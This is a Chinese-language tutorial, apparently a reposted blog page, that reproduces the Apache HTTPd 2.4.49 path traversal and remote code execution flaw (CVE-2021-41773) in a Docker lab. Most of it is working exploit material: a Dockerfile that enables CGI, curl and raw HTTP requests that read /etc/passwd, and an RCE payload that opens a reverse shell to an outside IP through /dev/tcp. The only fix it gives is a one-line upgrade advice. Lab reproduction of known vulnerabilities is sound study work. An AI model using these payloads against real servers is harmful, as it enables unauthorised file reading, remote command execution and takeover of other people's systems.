分享

Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞复现详细教程

 冲天香阵 2021-11-12

一、漏洞描述

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

1、版本等于2.4.49
2、Require all granted(默认情况下是允许被访问的)。

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

二、影响版本

Apache HTTP Server 2.4.49

三、靶场准备

本实验使用vulhub环境,节约搭建时间

mkdir Dockerfile //在空目录里面创建Dockerfile目录cd Dockerfile //进入Dockerfile目录vi Dockerfile //创建文件Dockerfil并编写

图片

DockerFile文件内容:

FROM httpd:2.4.49
RUN set -ex \ && sed -i 's|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g' /usr/local/apache2/conf/httpd.conf \ && sed -i 's|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g' /usr/local/apache2/conf/httpd.conf \ && sed -i 's|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g' /usr/local/apache2/conf/httpd.conf \ && cat /usr/local/apache2/conf/httpd.conf \ | tr '\n' '\r' \ | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \ | tr '\r' '\n' \ | tee /tmp/httpd.conf \    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

接下来在 Dockerfile 文件的存放目录下,执行构建动作。
以下示例,通过目录下的 Dockerfile 构建一个 httpd:2.4.49rce(镜像名称:镜像标签)。

注:最后的 . 代表本次执行的上下文路径。

docker build -t  httpd:2.4.49rce .

图片

图片

运行docker

docker run  -d -p 85:80 httpd:2.4.49rce

图片

之后就可以通过浏览器访问量(如果浏览器访问不了,重新启动实验机后再启动docker就可以解决该问题)

图片

四、POC测试

目录遍历POC:

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1Host: 192.168.241.142:85Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Connection: close

图片

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)

远程代码执行POC:

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' 'http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

或者

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1Host: 192.168.241.142:85Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Connection: closeContent-Length: 8
echo;pwd

图片

另外有检测工具,可以直接检测和getshell:

图片

图片

五、漏洞修复

升级到Apache HTTP Server最新版本。

更多资源:

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多